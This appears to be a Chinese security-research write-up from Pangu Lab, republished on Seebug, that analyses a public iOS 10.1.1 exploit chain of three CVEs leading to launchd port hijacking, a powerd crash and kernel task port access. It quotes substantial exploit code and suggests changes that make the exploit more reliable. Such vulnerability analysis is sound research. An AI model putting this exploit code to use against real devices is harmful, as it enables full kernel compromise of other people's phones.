來源:盤古實驗室
前不久GP0的研究員Ian Beer公布了針對iOS 10.1.1的漏洞細節及利用代碼,通過結合三個漏洞獲取設備的root shell。之后意大利研究員@qwertyoruiopz在此基礎上加入繞過KPP保護的漏洞利用并發布了完整的iOS10越獄。
Ian Beer已經對漏洞的成因和利用做了相關描述,這里將不再闡述,而是介紹一些利用的細節以及可能的改進建議。
整個exploit chain包含了三個漏洞:
- CVE-2016-7637 用于替換了launchd進程中往com.apple.iohideventsystem發消息的port
- CVE-2016-7661 造成powerd崩潰重啟,從而在接管com.apple.iohideventsystem后獲取powerd的task port,進而獲取host_priv
- CVE-2016-7644 導致內核port的UAF,進一步獲取kernel_task
替換launchd中的port
內核中的ipc_object對象對應到用戶態下是一個name(int類型),每個進程的 ipc_space_t中保存了name與object之間的映射關系。相關代碼可以在 ipc__entry.c中查看,ipc_entry_lookup函數將返回name對應的ipc_entry_t結構,其中保存了對應的object。name的高24位是table中的索引,而低8位是generation number(初始值是-1,增加步長是4,因此一共有64個值)
#define MACH_PORT_INDEX(name) ((name) >> 8)
#define MACH_PORT_GEN(name) (((name) & 0xff) << 24)
#define MACH_PORT_MAKE(index, gen) \
(((index) << 8) | (gen) >> 24)
被釋放的name會被標記到freelist的起始位置,當再創建的時候會有相同的索引號,但是generation number會增加4,因此當被重復釋放和分配64次后會返回給用戶態完全相同的name,從而可以完成劫持。
#define IE_BITS_GEN_MASK 0xff000000 /* 8 bits for generation */
#define IE_BITS_GEN(bits) ((bits) & IE_BITS_GEN_MASK)
#define IE_BITS_GEN_ONE 0x04000000 /* low bit of generation */
#define IE_BITS_NEW_GEN(old) (((old) + IE_BITS_GEN_ONE) & IE_BITS_GEN_MASK)
簡單的測試代碼
for (int i=0; i<65; i++)
{
mach_port_t port = 0;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
printf("port index:0x%x gen:0x%x\n", (port >> 8), (port & 0xff));
mach_port_destroy(mach_task_self(), port);
}
在實際利用漏洞的時候,需要在launchd的進程空間內重用name,因此可以發送一個launchd接受的id的消息,就能完成一次分配和釋放(send_looper函數)。為了避免name釋放后被搶占,首先調用了一次send_looper將要占用的name移動到freelist的末端相對安全的位置,進而再次調用62次來遞增generation number,最后一次通過注冊服務搶占name,完成了中間人劫持。
// send one smaller looper message to push the free'd name down the free list:
send_looper(bootstrap_port, ports, 0x100, MACH_MSG_TYPE_MAKE_SEND);
// send the larger ones to loop the generation number whilst leaving the name in the middle of the long freelist
for (int i = 0; i < 62; i++) {
send_looper(bootstrap_port, ports, 0x200, MACH_MSG_TYPE_MAKE_SEND);
}
// now that the name should have looped round (and still be near the middle of the freelist
// try to replace it by registering a lot of new services
for (int i = 0; i < n_ports; i++) {
kern_return_t err = bootstrap_register(bootstrap_port, names[i], ports[i]);
if (err != KERN_SUCCESS) {
printf("failed to register service %d, continuing anyway...\n", i);
}
}
使powerd崩潰
powerd在接收到MACH_NOTIFY_DEAD_NAME消息后沒有檢查發送者及port,就直接調用mach_port_deallocate去釋放。利用代碼中將被釋放的port設置為0x103,該port應該是本進程的task port,一旦被釋放后任何的內存分配處理都會直接出錯。代碼如下
mach_port_t service_port = lookup("com.apple.PowerManagement.control");
// free task_self in powerd
for (int j = 0; j < 2; j++) {
spoof(service_port, 0x103);
}
// call _io_ps_copy_powersources_info which has an unchecked vm_allocate which will fail
// and deref an invalid pointer
vm_address_t buffer = 0;
vm_size_t size = 0;
int return_code;
io_ps_copy_powersources_info(service_port,
0,
&buffer,
(mach_msg_type_number_t *) &size,
&return_code);
在測試過程中發現有的設備的mach_task_self()返回的并不是0x103,因此可以增加循環處理的代碼來加強利用的適應性。
// free task_self in powerd
for (int port = 0x103; port < 0x1003; port += 4) {
for (int j = 0; j < 2; j++) {
spoof(service_port, port);
}
}
內核堆跨Zone攻擊
CVE-2016-7644可以通過race造成內核port對象的UAF,因此第一步需要在port對象被釋放后重新去填充。由于所有的port都被分配在特殊的”ipc ports”的zone里,無法使用常見的分配kalloc zone的方式來直接填充內存。因此利用代碼首先分配大量port然后釋放,再調用mach_zone_force_gc將這些頁面釋放掉,此后可以在通過kalloc zone里spray內存來占用。
port對象的大小是0xA8(64位),其中ip_context成員(0x90偏移)可以通過用戶態API讀寫的,Ian Beer選擇了一種比較巧妙的方式來填充port對象。
首先需要了解mach msg中對MACH_MSG_OOL_PORTS_DESCRIPTOR的處理,內核收到復雜消息后發現是port descriptor后會交給ipc_kmsg_copyin_ool_ports_descriptor函數讀入所有的port對象。該函數會調用kalloc分配需要的內存(64位下分配的內存是輸入的2倍,name長度是4字節),然后將有效的port由name轉換成真實對象地址保存,對于輸入是0的name任然會填充0。
/* calculate length of data in bytes, rounding up */
ports_length = count * sizeof(mach_port_t);
names_length = count * sizeof(mach_port_name_t);
...
data = kalloc(ports_length);
...
#ifdef __LP64__
mach_port_name_t *names = &((mach_port_name_t *)data)[count];
#else
mach_port_name_t *names = ((mach_port_name_t *)data);
#endif
if (copyinmap(map, addr, names, names_length) != KERN_SUCCESS) {
...
}
objects = (ipc_object_t *) data;
dsc->address = data;
for ( i = 0; i < count; i++) {
mach_port_name_t name = names[i];
ipc_object_t object;
if (!MACH_PORT_VALID(name)) {
objects[i] = (ipc_object_t)CAST_MACH_NAME_TO_PORT(name);
continue;
}
kern_return_t kr = ipc_object_copyin(space, name, user_disp, &object);
...
objects[i] = object;
}
如果我們將輸入ool port數據的恰當位置的name設置為之前獲取的host_priv,那么在內核處理后,host_priv對應的內核object地址會被保存在UAF的port的ip_context成員位置,從而在用戶態就可以讀取到HOST_PRIV_PORT這個port的真實地址。用于填充內存的代碼在send_ool_ports函數,每個descriptor會分配一個kalloc.4096(0x200*8),一個消息會在內核分配1000個4KB的頁面。
size_t n_ports = 0x200;
mach_port_t* ports = calloc(sizeof(mach_port_t), n_ports);
uint32_t obj_offset = 0x90;
for (int i = 0; i < n_ports_in_zone; i++) {
uint32_t index = (obj_offset & 0xfff) / 8;
ports[index] = to_send;
obj_offset += 0xa8;
}
// build a message with those ool ports:
struct ool_multi_msg* leak_msg = malloc(sizeof(struct ool_multi_msg));
memset(leak_msg, 0, sizeof(struct ool_msg));
leak_msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
leak_msg->hdr.msgh_size = sizeof(struct ool_msg);
leak_msg->hdr.msgh_remote_port = q;
leak_msg->hdr.msgh_local_port = MACH_PORT_NULL;
leak_msg->hdr.msgh_id = 0x41414141;
leak_msg->body.msgh_descriptor_count = 1000;
for (int i = 0; i < 1000; i++) {
leak_msg->ool_ports[i].address = ports;
leak_msg->ool_ports[i].count = n_ports;
leak_msg->ool_ports[i].deallocate = 0;
leak_msg->ool_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
leak_msg->ool_ports[i].type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
leak_msg->ool_ports[i].copy = MACH_MSG_PHYSICAL_COPY;
}
成功填充被釋放的port后,即可以讀取context的值。
// get the target page reused by the ool port pointers
for (int i = 0; i < n_ool_port_qs; i++) {
ool_port_qs[i] = send_ool_ports(host_priv);
}
uint64_t context = 123;
mach_port_get_context(mach_task_self(), middle_ports[0], &context);
printf("read context value: 0x%llx\n", context);
獲取kernel task port
HOST_PRIV_PORT這個port是在系統初始化函數kernel_bootstrap里的調用ipc_init創建的,而kernel task port在之后的task_init中創建,因此很大概率這兩個port對象在比較接近的內存位置。
void
kernel_bootstrap(void)
{
...
kernel_bootstrap_log("ipc_init");
ipc_init();
kernel_bootstrap_log("PMAP_ACTIVATE_KERNEL");
PMAP_ACTIVATE_KERNEL(master_cpu);
kernel_bootstrap_log("mapping_free_prime");
mapping_free_prime(); /* Load up with temporary mapping blocks */
kernel_bootstrap_log("machine_init");
machine_init();
kernel_bootstrap_log("clock_init");
clock_init();
ledger_init();
kernel_bootstrap_log("task_init");
task_init();
...
}
上文提到kernel接收MACH_MSG_OOL_PORTS_DESCRIPTOR時候的copyin處理,同樣在把消息還給用戶態時有copyout的處理,會將真實的port對象地址轉換成name還給用戶態。可以將UAF的port的context設置成HOST_PRIV_PORT地址附近的port地址,用戶態獲取name后通過pid_for_task檢查是否成功獲取kernel task的port。receive_ool_ports函數接收之前發送填充的消息,并檢查返回值找到可能的kernel task port。
struct ool_multi_msg_rcv msg = {0};
err = mach_msg(&msg.hdr,
MACH_RCV_MSG,
0,
sizeof(struct ool_multi_msg_rcv),
q,
0,
0);
if (err != KERN_SUCCESS) {
printf("failed to receive ool ports msg (%s)\n", mach_error_string(err));
exit(EXIT_FAILURE);
}
mach_port_t interesting_port = MACH_PORT_NULL;
mach_port_t kernel_task_port = MACH_PORT_NULL;
for (int i = 0; i < 1000; i++) {
mach_msg_ool_ports_descriptor_t* ool_desc = &msg.ool_ports[i];
mach_port_t* ool_ports = (mach_port_t*)ool_desc->address;
for (size_t j = 0; j < ool_desc->count; j++) {
mach_port_t port = ool_ports[j];
if (port == expected) {
;
} else if (port != MACH_PORT_NULL) {
interesting_port = port;
printf("found an interesting port 0x%x\n", port);
if (kernel_task_port == MACH_PORT_NULL &&
is_port_kernel_task_port(interesting_port, valid_kernel_pointer))
{
kernel_task_port = interesting_port;
}
}
}
mach_vm_deallocate(mach_task_self(), (mach_vm_address_t)ool_desc->address, ((ool_desc->count*4)+0xfff)&~0xfff);
}
利用代碼中準備了0x20個UAF的port,然后從HOST_PRIV_PORT地址所在的zone的頁面的中間部分開始猜測。
for (int i = 0; i < n_middle_ports; i++) {
// guess the middle slots in the zone block:
mach_port_set_context(mach_task_self(), middle_ports[i], pages_base+(0xa8 * ((n_ports_in_zone/2) - (n_middle_ports/2) + i)));
}
mach_port_t kernel_task_port = MACH_PORT_NULL;
for (int i = 0; i < n_ool_port_qs; i++) {
mach_port_t new_port = receive_ool_ports(ool_port_qs[i], host_priv, pages_base);
if (new_port != MACH_PORT_NULL) {
kernel_task_port = new_port;
}
}
增加準備的UAF的port的數量(最多可增加至port的zone的頁面的容量)可以提高命中率。此外上述代碼的一處改進是在接收消息前再分配一些port,由于HOST_PRIV_PORT所在的zone的頁面可能存在被釋放了的port地址,在copyout時候會導致panic,因此填補這些空洞可以提高穩定性。
設備差異性
iOS的內核堆是由zone來管理的,具體代碼可以在zalloc.c中查看。每個zone對應的頁面大小計算在zinit函數中,其中 ZONE_MAX_ALLOC_SIZE 固定為0x8000。
if (alloc == 0)
alloc = PAGE_SIZE;
alloc = round_page(alloc);
max = round_page(max);
vm_size_t best_alloc = PAGE_SIZE;
vm_size_t alloc_size;
for (alloc_size = (2 * PAGE_SIZE); alloc_size <= ZONE_MAX_ALLOC_SIZE; alloc_size += PAGE_SIZE) {
if (ZONE_ALLOC_FRAG_PERCENT(alloc_size, size) < ZONE_ALLOC_FRAG_PERCENT(best_alloc, size)) {
best_alloc = alloc_size;
}
}
alloc = best_alloc;
值得注意的是PAGE_SIZE在iOS下可能是0x1000或0x4000,通過觀察PAGE_SHIFT_CONST的初始化可以知道當RAM大于1GB(0x40000000)的時候PAGE_SIZE=0x4000,否則PAGE_SIZE=0x1000
if ( v139 )
{
v14 = 14;
if ( *(_QWORD *)(a1 + 24) <= 0x40000000uLL )
v15 = 12;
else
v15 = 14;
}
else
{
if ( (unsigned int)sub_FFFFFFF0074F2BE4("-use_hwpagesize", &v142, 4, 0) )
v15 = 12;
else
v15 = 14;
v14 = v15;
}
PAGE_SHIFT_CONST = v15;
iPhone 6s及之后的設備內存都是2GB,對應內核中的最小頁面單位是16KB。根據zinit中的計算,ipc ports zone的頁面大小是0x3000(6s之前的設備)或者0x4000(6s及之后的設備)。因此要猜測完整個頁面的port需要0x49或者0x61個UAF的port。利用代碼中的platform_detection也可以修改如下
void platform_detection() {
uint32_t hwmem = 0;
size_t hwmem_size = 4;
sysctlbyname("hw.memsize", &hwmem, &hwmem_size, NULL, 0);
printf("hw memory is 0x%x bytes\n", hwmem);
if (hwmem > 0x40000000)
n_ports_in_zone = 0x4000/0xa8;
else
n_ports_in_zone = 0x3000/0xa8;
}
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/174/
暫無評論